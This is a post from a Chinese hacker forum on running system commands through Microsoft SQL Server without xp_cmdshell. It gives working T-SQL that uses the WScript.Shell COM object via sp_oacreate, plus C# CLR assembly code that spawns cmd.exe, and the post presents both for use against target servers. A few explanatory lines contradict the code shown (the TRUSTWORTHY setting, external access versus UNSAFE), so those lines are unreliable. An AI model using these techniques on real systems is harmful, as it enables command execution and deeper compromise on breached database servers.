跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

Sql Server在没有XpCmdShe的情况下执行命令


CNHAT

推荐的帖子

利用COM执行命令

(需要开启Ole Automation Procedures组件)

declare @luan int,@exec int,@text int,@str varchar(8000);
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output;
exec sp_oamethod @luan,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami';
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'readall', @str out;
select @str;
image.png.d8060caca27081d4b17f16f3d29acace.png

没有开启Ole Automation Procedures,可以用下面的命令开启

sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO

 

编写CLR实现执行命令

编写语言:C#
Vs创建类库

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System;
using System.Threading.Tasks;

namespace shellexec
{
    public class exec
    {
        public static string cmd(string command)
        {
            System.Diagnostics.Process pro = new System.Diagnostics.Process();
            pro.StartInfo.FileName = "cmd.exe";
            pro.StartInfo.UseShellExecute = false;
            pro.StartInfo.RedirectStandardError = true; //标准错误
            pro.StartInfo.RedirectStandardInput = true; //标准输入
            pro.StartInfo.RedirectStandardOutput = true; //标准输出
            pro.StartInfo.CreateNoWindow = true; //是否在新窗口开启进程
            pro.Start();
            pro.StandardInput.WriteLine(command + "&&exit"); //命令参数写入
            pro.StandardInput.AutoFlush = true; //缓冲区自动刷新
            string output = pro.StandardOutput.ReadToEnd(); //读取执行结果
            pro.WaitForExit(); //等待执行完成退出
            pro.Close();
            return output.ToString();
        }
    }
}

生成dll后,可以用hex的方法写到目标,或者shell上传。然后开始构造
1.目标数据库实例需要启用clr集成

exec sp_configure 'clr enabled', 1;--在SQL Server中启用CLR
reconfigure;
go

2.目标数据库的可信任属性需要设为false,可以使用以下语句启用
ALTER DATABASE [<数据库名称>] SET TRUSTWORTHY ON

 

3.在数据库中注册DLL

CREATE ASSEMBLY MySqlCLR FROM '<dll的路径>' //MySqlCLR为导入dll后的变量名称

 

4.创建函数
(根据对应函数的类型的参数构造对应的参数类型,然后RETURNS [nvarchar] (max)记得设置为返回最大如果是返回string类型的话),在直接这个dll的名称在那个命名空间、类、函数)

CREATE FUNCTION [dbo].[cmd2]  
(  
    @cmd AS NVARCHAR(max)
)  
RETURNS [nvarchar] (max) WITH EXECUTE AS CALLER
AS  
EXTERNAL NAME [MySqlCLR].[shellexec.exec].cmd //shellexec为命名空间,exec为类名,cmd为函数名
GO

 

5.程序集的权限级别必须设为 external access,否则在部署的时候会报错

ALTER ASSEMBLY [MySqlCLR]
WITH PERMISSION_SET = UNSAFE

6.调用存储过程和函数方法
select [dbo].[cmd2]('whoami')
链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...